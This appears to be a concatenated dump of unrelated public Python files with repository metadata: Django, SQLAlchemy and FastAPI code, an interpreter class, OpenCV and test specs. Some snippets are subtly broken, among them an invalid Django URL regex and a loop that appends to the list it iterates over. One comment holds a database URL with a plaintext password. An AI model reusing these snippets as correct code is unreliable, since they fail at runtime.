self.transform_urls_to_paths(parser.parse_args(prog_argv)) print vars(control_args) if control_args.exp_dir_path: exp_dir_path = control_args.exp_dir_path elif control_args.exp_parent_dir_path: exp_dir_path = os.path.join(control_args.exp_parent_dir_path, '{random_id}'.format( random_id=id_generator(5), ) ) else: raise RuntimeError('exp_dir_path is not present!!!') exp = Mock() self.go(exp, prog_args, exp_dir_path) def install_sigterm_handler(self): pass # The user have to define go function def go(self, exp, args, exp_dir_path): raise NotImplementedError() def create_timeseries_and_figures(self): raise NotImplementedError() @classmethod def create_parser(cls): parser = argparse.ArgumentParser(description='TODO', fromfile_prefix_chars='@') return parser

30.908257

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null

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null

0

1

0

1

0

2

e26bf8c2f915d4db3512c9b8a8e20ed0ced8fc7a

3,535

py

Python

app/database/tables.py

victor-iyi/heart-disease

06540b582e8752d2bb6a32366077872d32d7c0e4

[ "MIT" ]

1

2021-06-20T09:08:26.000Z

app/database/tables.py

victor-iyi/heart-disease

06540b582e8752d2bb6a32366077872d32d7c0e4

[ "MIT" ]

null

app/database/tables.py

victor-iyi/heart-disease

06540b582e8752d2bb6a32366077872d32d7c0e4

[ "MIT" ]

null

# Copyright 2021 Victor I. Afolabi # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from passlib.context import CryptContext from sqlalchemy import Column, DateTime, Enum from sqlalchemy import Integer, Numeric, String, Text from app.database import Base class Category(Enum): patient = 'Patient' practitioner = 'Medical Practitioner' class User(Base): __tablename__ = 'user' # User ID column. id = Column(Integer, primary_key=True, index=True) email = Column(String, unique=True, index=True) password_hash = Column(String(64), nullable=False) first_name = Column(String(32), index=True) last_name = Column(String(32), index=True) category = Column(Category, index=True, nullable=False, default=Category.patient) __mapper_args__ = { 'polymorphic_identity': 'user', 'polymorphic_on': category, } # Password context. pwd_context = CryptContext(schemes=['bcrypt'], deprecated='auto') def __repr__(self) -> str: return f'User({self.email}, {self.category})' @staticmethod def hash_password(password: str) -> str: return User.pwd_context.hash(password) @staticmethod def verify_password(password: str, hash_password: str) -> bool: return User.pwd_context.verify(password, hash_password) class Patient(User): # Patient info. age = Column(Integer) contact = Column(String(15), index=True) history = Column(Text) aliment = Column(Text) last_visit_diagnosis = Column(DateTime) guardian_fullname = Column(String(64)) guardian_email = Column(String) guardian_phone = Column(String(15)) occurences_of_illness = Column(Text) last_treatment = Column(DateTime) __mapper_args__ = { 'polymorphic_identity': 'patient', 'inherit_condition': User.category == Category.patient } def __repr__(self) -> str: return f'Patient({self.email})' class Practitoner(User): practitioner_data = Column(String) __mapper_args__ = { 'polymorphic_identity': 'practitioner', 'inherit_condition': User.category == Category.practitioner } def __repr__(self) -> str: return f'Practitioner({self.email})' class Feature(Base): __tablename__ = 'features' # Primary key. id = Column(Integer, primary_key=True, index=True) # Features. age = Column(Integer, nullable=False) sex = Column(Integer, nullable=False) cp = Column(Integer, nullable=False) trestbps = Column(Integer, nullable=False) chol = Column(Integer, nullable=False) fbs = Column(Integer, nullable=False) restecg = Column(Integer, nullable=False) thalach = Column(Integer, nullable=False) exang = Column(Integer, nullable=False) oldpeak = Column(Numeric, nullable=False) slope = Column(Integer, nullable=False) ca = Column(Integer, nullable=False) thal = Column(Integer, nullable=False) # Target. target = Column(Integer, nullable=True)

29.458333

74

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417

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null

0

null

0

1

0

1

0

2

e2746841518d72ff1c015f3f7d541ed3f743e448

420

py

Python

examples/rest-api-python/src/db/notes.py

drewfish/serverless-stack

155353ed7daf3ba2d4daeb9096f6c7638cb404fc

[ "MIT" ]

5,922

2020-08-19T05:27:43.000Z

2022-03-31T23:29:17.000Z

examples/rest-api-python/src/db/notes.py

Dzan001/serverless-stack

69fb992f31ac098b644f50cbddf3aaec4db054cd

[ "MIT" ]

980

2020-09-17T03:09:42.000Z

2022-03-31T20:21:43.000Z

examples/rest-api-python/src/db/notes.py

Dzan001/serverless-stack

69fb992f31ac098b644f50cbddf3aaec4db054cd

[ "MIT" ]

458

2020-09-02T13:47:17.000Z

2022-03-31T12:14:32.000Z

import time import numpy def getNotes(): return { "id1": { "noteId": "id1", "userId": "user1", "content": str(numpy.array([1,2,3,4])), "createdAt": int(time.time()), }, "id2": { "noteId": "id2", "userId": "user2", "content": str(numpy.array([5,6,7,8])), "createdAt": int(time.time()-1000), }, }

22.105263

51

0.419048

42

420

4.190476

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null

0

1

0

2

e27e4a43c502f420400f007b448a9524041c88b3

178

py

Python

src/news/urls.py

HammudElHammud/newspage

feac69bf0fa3dd6c876e88ef0daae4166b367c09

[ "bzip2-1.0.6" ]

null

src/news/urls.py

HammudElHammud/newspage

feac69bf0fa3dd6c876e88ef0daae4166b367c09

[ "bzip2-1.0.6" ]

null

src/news/urls.py

HammudElHammud/newspage

feac69bf0fa3dd6c876e88ef0daae4166b367c09

[ "bzip2-1.0.6" ]

null

from django.contrib import admin from django.conf.urls import url from . import views urlpatterns = { url(r'^news/(?<pk>\d+)/$', views.news_datile, name='news_datile'), }

17.8

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null

0

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e2a191a08714abb0c42a3d02f6d08d58d245f102

709

py

Python

src/pyterpreter/FunctionCallable.py

kinshukk/pyterpreter

8c1029322da82dde8f39d8e26c1d5748242c14c7

[ "MIT" ]

4

2020-02-12T22:46:00.000Z

2020-10-16T17:25:13.000Z

src/pyterpreter/FunctionCallable.py

kinshukk/pyterpreter

8c1029322da82dde8f39d8e26c1d5748242c14c7

[ "MIT" ]

null

src/pyterpreter/FunctionCallable.py

kinshukk/pyterpreter

8c1029322da82dde8f39d8e26c1d5748242c14c7

[ "MIT" ]

1

2020-02-18T15:35:19.000Z

from Callable import Callable from Environment import Environment class FunctionCallable(Callable): def __init__(self, declaration): self.declaration = declaration def arity(self): return len(self.declaration.params) def call(self, interpreter, arguments): environment = Environment(enclosing=interpreter.globals) #bind parameter names to passed arguments for param_token, arg in zip(self.declaration.params, arguments): environment.define(param_token.lexeme, arg) interpreter.executeBlock(self.declaration.body, environment) return None def __str__(self): return f"<Function '{self.declaration.name.lexeme}'>"

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0.208745

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0

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0

null

0

null

0

1

0

1

0

2

e2a240ee665e131c6a1630bc56d30e02d74a542a

453

py

Python

drawing-shapes/drawing-rectangle.py

woosal1337/cv2

cae4ad1e3ba4259507acde4db74559a726b09281

[ "MIT" ]

39

2021-11-08T13:35:10.000Z

2022-01-20T19:45:17.000Z

drawing-shapes/drawing-rectangle.py

woosal1337/cv2

cae4ad1e3ba4259507acde4db74559a726b09281

[ "MIT" ]

null

drawing-shapes/drawing-rectangle.py

woosal1337/cv2

cae4ad1e3ba4259507acde4db74559a726b09281

[ "MIT" ]

2

2021-11-17T01:24:39.000Z

2022-02-02T00:40:33.000Z

import cv2 image_path = "../assets/img.png" image = cv2.imread(image_path) image = cv2.resize(image, (int(image.shape[0] * 0.5), int(image.shape[1] * 0.5))) image_shape = image.shape point1 = (int(image_shape[0] * 0.1), int(image_shape[1] * 0.1)) point2 = (int(image_shape[0] * 0.9), int(image_shape[1] * 0.9)) cv2.rectangle(image, point1, point2, (0, 255, 0), thickness=2) cv2.imshow("Reading Image", image) cv2.waitKey(0) cv2.destroyAllWindows()

26.647059

81

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78

453

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0.090909

0

null

1

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null

0

2

e2b97d3033bb3ab214296b1900d6c7a5c6a11ed2

284

py

Python

src/python_op3/vision_comm/vision_tracking.py

culdo/python-op3

59a068ae4c8694778126aebc2ab553963b82493b

[ "MIT" ]

5

2019-08-06T07:28:10.000Z

2022-01-30T17:00:41.000Z

src/python_op3/vision_comm/vision_tracking.py

culdo/python-op3

59a068ae4c8694778126aebc2ab553963b82493b

[ "MIT" ]

2

2019-08-06T15:54:42.000Z

2021-04-21T02:40:36.000Z

src/python_op3/vision_comm/vision_tracking.py

culdo/python-op3

59a068ae4c8694778126aebc2ab553963b82493b

[ "MIT" ]

5

2020-09-25T10:03:51.000Z

2021-10-18T06:19:43.000Z

import rospy from geometry_msgs.msg import Point from std_msgs.msg import String class VisionTrack: def __init__(self, ns): self._pub_face_posintion = rospy.Publisher("/face_position", Point) self._pub_demo_mode = rospy.Publisher(ns + "/mode_command", String)

23.666667

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0

0.172535

284

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0

null

0

null

0

1

0

1

0

2

2c437452715dcd6c0879030ae27ac9df8eef1fd5

78

py

Python

new.py

7wikd/R_Pi-Surveillance

fa488a72b022af2e92e9c8b4c164469625c486d2

[ "MIT" ]

null

new.py

7wikd/R_Pi-Surveillance

fa488a72b022af2e92e9c8b4c164469625c486d2

[ "MIT" ]

null

new.py

7wikd/R_Pi-Surveillance

fa488a72b022af2e92e9c8b4c164469625c486d2

[ "MIT" ]

null

array = ['Welcome','to','Turing'] for i in array: array.append(i.upper())

19.5

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0.615385

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78

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78

4

34

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0

1

0

null

0

1

0

null

0

2

2c473e776ed2f110c71b7f90a9480af3f31fea9b

767

py

Python

tur/migrations/0003_auto_20190319_1319.py

kopuskopecik/projem

738b0eeb2bf407b4ef54197cce1ce26ea67279c8

[ "MIT" ]

2

2021-03-15T08:04:04.000Z

2021-03-15T08:04:11.000Z

tur/migrations/0003_auto_20190319_1319.py

kopuskopecik/projem

738b0eeb2bf407b4ef54197cce1ce26ea67279c8

[ "MIT" ]

null

tur/migrations/0003_auto_20190319_1319.py

kopuskopecik/projem

738b0eeb2bf407b4ef54197cce1ce26ea67279c8

[ "MIT" ]

null

# Generated by Django 2.0 on 2019-03-19 10:19 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('tur', '0002_dersler_updating_date'), ] operations = [ migrations.AddField( model_name='dersler', name='anahtar', field=models.CharField(default='Python Dersleri', max_length=500), ), migrations.AddField( model_name='dersler', name='descriptions', field=models.CharField(default='Python Dersleri', max_length=500), ), migrations.AddField( model_name='dersler', name='slug2', field=models.SlugField(default='python', max_length=130), ), ]

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0

null

0

1

0

1

0

null

0

2

2c5ee4c680422e39bc1b4f05645d8e4538d7cf7f

108

py

Python

Lib/site-packages/MySQLdb/release.py

pavanmaganti9/djangoapp

d6210386af89af9dae6397176a26a8fcd588d3b4

[ "bzip2-1.0.6" ]

null

Lib/site-packages/MySQLdb/release.py

pavanmaganti9/djangoapp

d6210386af89af9dae6397176a26a8fcd588d3b4

[ "bzip2-1.0.6" ]

null

Lib/site-packages/MySQLdb/release.py

pavanmaganti9/djangoapp

d6210386af89af9dae6397176a26a8fcd588d3b4

[ "bzip2-1.0.6" ]

null

__author__ = "Inada Naoki <songofacandy@gmail.com>" version_info = (1,4,2,'final',0) __version__ = "1.4.2"

21.6

51

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1

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null

0

1

0

null

0

2

2c89e2ba0b4512654d615954e75150a63b7f9ef4

1,236

py

Python

mysite/organization/views.py

dduong711/test_project

80ea8dd3944f6968bb872454adc752851da9547d

[ "MIT" ]

null

mysite/organization/views.py

dduong711/test_project

80ea8dd3944f6968bb872454adc752851da9547d

[ "MIT" ]

null

mysite/organization/views.py

dduong711/test_project

80ea8dd3944f6968bb872454adc752851da9547d

[ "MIT" ]

null

from django.views.generic.edit import CreateView from django.views.generic.detail import DetailView from django.urls import reverse, reverse_lazy from django.contrib.auth.decorators import login_required from django.utils.decorators import method_decorator from django.shortcuts import redirect from .models import Organization from .forms import OrganizationCreationForm class OrganizationCreateView(CreateView): model = Organization form_class = OrganizationCreationForm template_name = "organization/create.html" success_url = reverse_lazy("organization:detail") def form_valid(self, form): self.object = form.save(username=self.request.user.username) return redirect(self.get_success_url()) class OrganizationDetailView(DetailView): model = Organization template_name = "organization/detail.html" def get_object(self, query_set=None): return self.request.user.organization @method_decorator(login_required) def dispatch(self, request, *args, **kwargs): if self.request.user.user_type == "OR": return super().dispatch(request, *args, **kwargs) return redirect(reverse("users:detail", kwargs={"username": self.request.user.username}))

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33

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0

null

0

null

0

1

0

1

0

2

2c9913a7e96be804ee8e70f67be4b2d734c70392

213

py

Python

tests/write-tests/test_display.py

focolab/gcamp-extractor

5e47ab2cfb75e3f09cfd84d40d8be0739a75d39c

[ "MIT" ]

null

tests/write-tests/test_display.py

focolab/gcamp-extractor

5e47ab2cfb75e3f09cfd84d40d8be0739a75d39c

[ "MIT" ]

26

2022-03-01T17:34:45.000Z

2022-03-31T00:09:55.000Z

tests/write-tests/test_display.py

focolab/gcamp-extractor

5e47ab2cfb75e3f09cfd84d40d8be0739a75d39c

[ "MIT" ]

null

import sys sys.path.append('/Users/stevenban/Documents/eats_worm/eats_worm') from Extractor import * from Threads import * from Curator import * e = load_extractor(default_arguments['root']) c = Curator(e)

14.2

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30

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5.233333

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0

0.131455

213

14

66

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0

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0

null

0

null

0

1

0

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2

2ccd49d6599f180bbe48d3dfa5a06f69594bc05a

436

py

Python

apollo/pipeline/pipeline/job.py

ZeyadOsama/apollo

89e7d7b264b78ace7ef4239899e2dab2568174fa

[ "MIT" ]

null

apollo/pipeline/pipeline/job.py

ZeyadOsama/apollo

89e7d7b264b78ace7ef4239899e2dab2568174fa

[ "MIT" ]

1

2021-07-18T12:40:59.000Z

apollo/pipeline/pipeline/job.py

ZeyadOsama/apollo

89e7d7b264b78ace7ef4239899e2dab2568174fa

[ "MIT" ]

null

#!/usr/bin/env python """job.py: File containing Job class to be used as the executors for the pipeline.""" __author__ = "Zeyad Osama" class Job: """ Job class to be used as the executors for the pipeline. """ def __init__(self) -> None: super().__init__() def initialize(self): pass def terminate(self): pass def feed(self): pass def execute(self): pass

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null

0

null

0

1

0

1

0

2

2ccd6ca54c6dd2ea4416c6e6ab209109389b62c9

1,858

py

Python

lib/googlecloudsdk/command_lib/config/virtualenv/util.py

google-cloud-sdk-unofficial/google-cloud-sdk

2a48a04df14be46c8745050f98768e30474a1aac

[ "Apache-2.0" ]

2

2019-11-10T09:17:07.000Z

2019-12-18T13:44:08.000Z

lib/googlecloudsdk/command_lib/config/virtualenv/util.py

google-cloud-sdk-unofficial/google-cloud-sdk

2a48a04df14be46c8745050f98768e30474a1aac

[ "Apache-2.0" ]

null

lib/googlecloudsdk/command_lib/config/virtualenv/util.py

google-cloud-sdk-unofficial/google-cloud-sdk

2a48a04df14be46c8745050f98768e30474a1aac

[ "Apache-2.0" ]

1

2020-07-25T01:40:19.000Z

# -*- coding: utf-8 -*- # # Copyright 2021 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Library of methods for manipulating virtualenv setup.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import os from googlecloudsdk.core.util import files from googlecloudsdk.core.util import platforms import six # Python modules to install into virtual env environment MODULES = ['crcmod', 'grpcio', 'cryptography', 'google_crc32c', 'certifi'] # Enable file name. ENABLE_FILE = 'enabled' def IsPy2(): """Wrap six.PY2, needed because mocking six.PY2 breaks test lib things.""" return six.PY2 def IsWindows(): """Wrapped because mocking directly can break test lib things.""" return platforms.OperatingSystem.IsWindows() def VirtualEnvExists(ve_dir): """Returns True if Virtual Env already exists.""" return os.path.isdir(ve_dir) def EnableFileExists(ve_dir): """Returns True if enable file exists.""" return os.path.exists('{}/{}'.format(ve_dir, ENABLE_FILE)) def CreateEnableFile(ve_dir): """Create enable file.""" files.WriteFileContents('{}/{}'.format(ve_dir, ENABLE_FILE), 'enabled') def RmEnableFile(ve_dir): """Remove enable file.""" os.unlink('{}/{}'.format(ve_dir, ENABLE_FILE))

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null

0

null

0

1

0

1

0

2

e2c1f25eae995daf15cfeb601d8c6e07d2c00522

850

py

Python

2015/21_rpg_test.py

pchudzik/adventofcode

e1d6521621f6ca90f9dc53cf3d1ed5b8c5c2b7d1

[ "MIT" ]

null

2015/21_rpg_test.py

pchudzik/adventofcode

e1d6521621f6ca90f9dc53cf3d1ed5b8c5c2b7d1

[ "MIT" ]

null

2015/21_rpg_test.py

pchudzik/adventofcode

e1d6521621f6ca90f9dc53cf3d1ed5b8c5c2b7d1

[ "MIT" ]

null

import importlib rpg_module = importlib.import_module("21_rpg") Character = rpg_module.Character encounter = rpg_module.encounter simulate_battle = rpg_module.simulate_battle def test_encounter(): player = Character(8, 5, 5) boss = Character(12, 7, 2) assert encounter(player, boss) is None assert boss.hit_points == 9 assert player.hit_points == 6 assert encounter(player, boss) is None assert boss.hit_points == 6 assert player.hit_points == 4 assert encounter(player, boss) is None assert boss.hit_points == 3 assert player.hit_points == 2 assert encounter(player, boss) is player assert boss.hit_points == 0 assert player.hit_points == 2 def test_simulate_battle(): player = Character(8, 5, 5) boss = Character(12, 7, 2) assert simulate_battle(player, boss) == player

24.285714

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null

0

1

0

2

e2daf5c89878da51cbda4e6d7296e048a9f4b24c

695

py

Python

app/mysql-sqlalchemy.py

garryforgit/flasky

7117023bf69180b8eacae9dde69c621668ddf11d

[ "MIT" ]

null

app/mysql-sqlalchemy.py

garryforgit/flasky

7117023bf69180b8eacae9dde69c621668ddf11d

[ "MIT" ]

null

app/mysql-sqlalchemy.py

garryforgit/flasky

7117023bf69180b8eacae9dde69c621668ddf11d

[ "MIT" ]

null

# coding:utf-8 from flask_sqlalchemy import SQLAlchemy from hello import db #SQLALCHEMY_DATABASE_URL="mysql://fly:('flyfly')@localhost/test1" #SQLALCHEMY_TRACK_MODIFICATIONS = True class Role(db.Model): __tablename__ = 'roles' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(64), unique=True) def __repr__(self): return '<Role %r>' % self.name class User(db.Model): __tablename__ = 'users' id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(64), unique=True, index=True) role_id = db.Column(db.Integer, db.ForeignKey('roles.id')) def __repr__(self): return '<User %r>' % self.username

24.821429

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0

null

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2

e2e93dbd6f3076026b046be68bc59debb3b4ccbc

775

py

Python

notes/_views/viewsets.py

Merino/poc-cbb

eed2226a7d7fbff5d8860075fbdd641f5281dce5

[ "BSD-3-Clause" ]

null

notes/_views/viewsets.py

Merino/poc-cbb

eed2226a7d7fbff5d8860075fbdd641f5281dce5

[ "BSD-3-Clause" ]

1

2016-01-19T12:32:32.000Z

notes/_views/viewsets.py

Merino/poc-cbb

eed2226a7d7fbff5d8860075fbdd641f5281dce5

[ "BSD-3-Clause" ]

null

# # encoding: utf-8 # # from django.conf.urls import patterns, include # from django.core.urlresolvers import reverse_lazy # # # class BaseViewSet(object): # def __init__(self, **kwargs): # super(BaseViewSet, self).__init__() # for key, value in kwargs.iteritems(): # assert hasattr(self, key), 'Pass unknown parameter' # setattr(self, key, value) # # def get_urls(self): # urls = [] # nested = patterns('', *urls) # return include(nested) # # def reverse(self, name, *args, **kwargs): # return reverse_lazy(name, args=args, kwargs=kwargs) # # @property # def urls(self): # if not hasattr(self, '_urls'): # self._urls = self.get_urls() # return self._urls

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0

null

0

1

0

null

0

1

0

2

390037201d83cd63c3a8e971c39f1519d819722c

2,052

py

Python

blog/migrations/0005_auto_20190624_1315.py

Labbit-kw/hologram-project

708b773e932f6ad0f92d1d9e2e57cfbd8b17b933

[ "MIT" ]

null

blog/migrations/0005_auto_20190624_1315.py

Labbit-kw/hologram-project

708b773e932f6ad0f92d1d9e2e57cfbd8b17b933

[ "MIT" ]

null

blog/migrations/0005_auto_20190624_1315.py

Labbit-kw/hologram-project

708b773e932f6ad0f92d1d9e2e57cfbd8b17b933

[ "MIT" ]

null

# Generated by Django 2.2.2 on 2019-06-24 04:15 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0004_board'), ] operations = [ migrations.DeleteModel( name='Board', ), migrations.AlterModelOptions( name='post', options={'ordering': ('-comments',), 'verbose_name': 'post', 'verbose_name_plural': 'posts'}, ), migrations.RemoveField( model_name='post', name='content', ), migrations.RemoveField( model_name='post', name='create_date', ), migrations.RemoveField( model_name='post', name='description', ), migrations.RemoveField( model_name='post', name='modify_date', ), migrations.RemoveField( model_name='post', name='slug', ), migrations.AddField( model_name='post', name='comments', field=models.IntegerField(blank=True, null=True), ), migrations.AddField( model_name='post', name='date', field=models.DateField(auto_now_add=True, null=True, verbose_name='Create Date'), ), migrations.AddField( model_name='post', name='name', field=models.CharField(blank=True, max_length=100), ), migrations.AddField( model_name='post', name='user_id', field=models.CharField(blank=True, max_length=20), ), migrations.AddField( model_name='post', name='views', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='post', name='title', field=models.CharField(blank=True, max_length=100), ), migrations.DeleteModel( name='Comment', ), ]

27.72973

105

0.515595

180

2,052

5.744444

0.338889

0.10058

0.138298

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0.573501

0.313346

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0.020501

0.358187

2,052

73

106

28.109589

0.764617

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0

null

0

1

0

1

0

null

0

2

3903624fd80c505f90cadf8b4dfe22f77c2294fc

647

py

Python

rosmap/repository_analyzers/offline/i_repository_analyzer.py

jr-robotics/rosmap

eae425c94b43e46227a11d645bb7baa1fc5c5b35

[ "MIT" ]

9

2019-02-06T10:02:02.000Z

2022-02-24T16:38:36.000Z

rosmap/repository_analyzers/offline/i_repository_analyzer.py

jr-robotics/rosmap

eae425c94b43e46227a11d645bb7baa1fc5c5b35

[ "MIT" ]

null

rosmap/repository_analyzers/offline/i_repository_analyzer.py

jr-robotics/rosmap

eae425c94b43e46227a11d645bb7baa1fc5c5b35

[ "MIT" ]

1

2020-01-13T00:43:03.000Z

from abc import ABCMeta, abstractmethod class IRepositoryAnalyzer(object): """ Interface for classes implementing Repository-analysis. """ __metaclass__ = ABCMeta @abstractmethod def analyze_repositories(self, path: str, repo_details: dict) -> None: """ Analyzes all repositories directly under the root of the given path (does not recurse). :param path: Path to the repositories. :param repo_details: Details about the repositories. :return: None """ raise NotImplementedError @abstractmethod def analyzes(self) -> str: raise NotImplementedError

28.130435

95

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65

647

6.6

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0.255023

647

22

96

29.409091

0.890041

0.384853

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0.444444

0

1

0.222222

false

0

0.111111

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0.555556

0

null

0

null

0

1

0

1

0

2

39080a3dcea4b5bb7e1c10d7b1be6ca6edf82165

2,814

py

Python

tests/nnapi/specs/V1_0/concat_float_4D_axis3_1_nnfw.mod.py

periannath/ONE

61e0bdf2bcd0bc146faef42b85d469440e162886

[ "Apache-2.0" ]

255

2020-05-22T07:45:29.000Z

2022-03-29T23:58:22.000Z

tests/nnapi/specs/V1_0/concat_float_4D_axis3_1_nnfw.mod.py

periannath/ONE

61e0bdf2bcd0bc146faef42b85d469440e162886

[ "Apache-2.0" ]

5,102

2020-05-22T07:48:33.000Z

2022-03-31T23:43:39.000Z

tests/nnapi/specs/V1_0/concat_float_4D_axis3_1_nnfw.mod.py

periannath/ONE

61e0bdf2bcd0bc146faef42b85d469440e162886

[ "Apache-2.0" ]

120

2020-05-22T07:51:08.000Z

2022-02-16T19:08:05.000Z

# # Copyright (C) 2017 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # model model = Model() i1 = Input("op1", "TENSOR_FLOAT32", "{1, 2, 3, 2}") # input tensor 0 i2 = Input("op2", "TENSOR_FLOAT32", "{1, 2, 3, 2}") # input tensor 1 i3 = Input("op3", "TENSOR_FLOAT32", "{1, 2, 3, 2}") # input tensor 2 axis0 = Int32Scalar("axis0", 3) r = Output("result", "TENSOR_FLOAT32", "{1, 2, 3, 6}") # output model = model.Operation("CONCATENATION", i1, i2, i3, axis0).To(r) # Example 1. input0 = {i1: [-0.03203143, -0.0334147 , -0.02527265, 0.04576106, 0.08869292, 0.06428383, -0.06473722, -0.21933985, -0.05541003, -0.24157837, -0.16328812, -0.04581105], i2: [-0.0569439 , -0.15872048, 0.02965238, -0.12761882, -0.00185435, -0.03297619, 0.03581043, -0.12603407, 0.05999133, 0.00290503, 0.1727029 , 0.03342071], i3: [ 0.10992613, 0.09185287, 0.16433905, -0.00059073, -0.01480746, 0.0135175 , 0.07129054, -0.15095694, -0.04579685, -0.13260484, -0.10045543, 0.0647094 ]} output0 = {r: [-0.03203143, -0.0334147 , -0.0569439 , -0.15872048, 0.10992613, 0.09185287, -0.02527265, 0.04576106, 0.02965238, -0.12761882, 0.16433905, -0.00059073, 0.08869292, 0.06428383, -0.00185435, -0.03297619, -0.01480746, 0.0135175 , -0.06473722, -0.21933985, 0.03581043, -0.12603407, 0.07129054, -0.15095694, -0.05541003, -0.24157837, 0.05999133, 0.00290503, -0.04579685, -0.13260484, -0.16328812, -0.04581105, 0.1727029 , 0.03342071, -0.10045543, 0.0647094 ]} # Instantiate an example Example((input0, output0)) ''' # The above data was generated with the code below: with tf.Session() as sess: t1 = tf.random_normal([1, 2, 3, 2], stddev=0.1, dtype=tf.float32) t2 = tf.random_normal([1, 2, 3, 2], stddev=0.1, dtype=tf.float32) t3 = tf.random_normal([1, 2, 3, 2], stddev=0.1, dtype=tf.float32) c1 = tf.concat([t1, t2, t3], axis=3) print(c1) # print shape print( sess.run([tf.reshape(t1, [12]), tf.reshape(t2, [12]), tf.reshape(t3, [12]), tf.reshape(c1, [1*2*3*(2*3)])])) '''

43.292308

79

0.602701

406

2,814

4.160099

0.369458

0.010657

0.01421

0.016578

0.448786

0.120782

0.071048

0

0.346369

0.236674

2,814

64

80

43.96875

0.439944

0.236318

0

0.086984

0

1

0

false

0

null

0

1

0

1

0

null

0

2

390b1fb2d4091aecc904734a5d0a639eb8b4e4a8

519

py

Python

routers/epic.py

chenx6/message-integration-api

5a80eac8d72620af87bbdb16cf489858001c9d8f

[ "MIT" ]

null

routers/epic.py

chenx6/message-integration-api

5a80eac8d72620af87bbdb16cf489858001c9d8f

[ "MIT" ]

null

routers/epic.py

chenx6/message-integration-api

5a80eac8d72620af87bbdb16cf489858001c9d8f

[ "MIT" ]

null

from fastapi import APIRouter, Depends from sqlalchemy.orm import Session from schemas.item_resp import ItemsResp from crud.epic_free_game import get_epic_free_game from utils import get_db router = APIRouter(prefix="/api", tags=["epic"]) @router.get("/epic", response_model=ItemsResp) async def epic_free_game(start: int = 0, db: Session = Depends(get_db)): if start != 0: return ItemsResp(status="fail", items=[]) items = get_epic_free_game(db) return ItemsResp(status="success", items=items)

30.529412

72

0.745665

76

519

4.907895

0.473684

0.085791

0.128686

0.080429

0

0.004494

0.142582

519

16

73

32.4375

0.833708

0

0.046243

0

1

0

false

0

0.416667

0

0.583333

0

null

0

null

0

1

0

1

0

2

390dcff9eeeb910ef17bc178dc5eea38e986422e

453

py

Python

leetcode/longest_increasing_subsequence/longest_increasing_subsequence_test.py

sagasu/python-algorithms

d630777a3f17823165e4d72ab780ede7b10df752

[ "MIT" ]

null

leetcode/longest_increasing_subsequence/longest_increasing_subsequence_test.py

sagasu/python-algorithms

d630777a3f17823165e4d72ab780ede7b10df752

[ "MIT" ]

null

leetcode/longest_increasing_subsequence/longest_increasing_subsequence_test.py

sagasu/python-algorithms

d630777a3f17823165e4d72ab780ede7b10df752

[ "MIT" ]

null

import unittest import longest_increasing_subsequence class Solution(unittest.TestCase): def test_one(self): sr = longest_increasing_subsequence.Solution() self.assertEqual(sr.lengthOfLIS([10,9,2,5,3,7,101,18]), 4) # def test_two(self): # sr = longest_increasing_subsequence.Solution() # self.assertEqual(sr.lengthOfLIS([0,2,3,4,6,8,9]), ["0","2->4","6","8->9"]) if __name__ == '__main__': unittest.main()

30.2

84

0.664459

63

453

4.52381

0.492063

0.178947

0.294737

0.161404

0.491228

0

0.068783

0.165563

453

15

85

30.2

0.685185

0.328918

0

0.026578

0

0.125

1

0.125

false

0

0.25

0

0.5

0

null

0

1

0

null

0

2

392373959dae05b7051126f3234a23ca69f13125

383

py

Python

tests/test_mongodb2.py

mannuan/dspider

bf1bbad375b3b61f800cb25d1c839659a66f3e12

[ "Apache-2.0" ]

15

2018-05-12T17:15:59.000Z

2020-09-06T04:32:47.000Z

tests/test_mongodb2.py

mannuan/dspider

bf1bbad375b3b61f800cb25d1c839659a66f3e12

[ "Apache-2.0" ]

null

tests/test_mongodb2.py

mannuan/dspider

bf1bbad375b3b61f800cb25d1c839659a66f3e12

[ "Apache-2.0" ]

2

2018-06-29T00:44:52.000Z

2020-07-07T01:58:03.000Z

from pymongo import MongoClient from pymongo.database import Database from pymongo.collection import Collection shop_collection = Collection(Database(MongoClient(host='10.1.17.15'), 'dspider2'), 'shops') for i in shop_collection.find({'data_source':'餐饮', 'data_region':'千岛湖', 'data_website':'大众点评', 'shop_url':'http://www.dianping.com/shop/66205575'}): print(i.get('shop_time'))

54.714286

148

0.75718

54

383

5.240741

0.62963

0.116608

0

0.045198

0.075718

383

7

149

54.714286

0.754237

0

0.3125

0

1

0

false

0

0.5

0

0.5

0.166667

0

null

0

1

0

null

0

1

0

2

39377de863e650c1264040afbd97357846b6a236

247

py

Python

answers/Anuraj Pariya/day 18/question 1.py

justshivam/30-DaysOfCode-March-2021

64d434c07b9ec875384dee681a3eecefab3ddef0

[ "MIT" ]

22

2021-03-16T14:07:47.000Z

2021-08-13T08:52:50.000Z

answers/Anuraj Pariya/day 18/question 1.py

AnurajPariya03/30-DaysOfCode-March-2021

2fb575d06a3c86bc890e7fb97d321eba8f93157f

[ "MIT" ]

174

2021-03-16T21:16:40.000Z

2021-06-12T05:19:51.000Z

answers/Anuraj Pariya/day 18/question 1.py

AnurajPariya03/30-DaysOfCode-March-2021

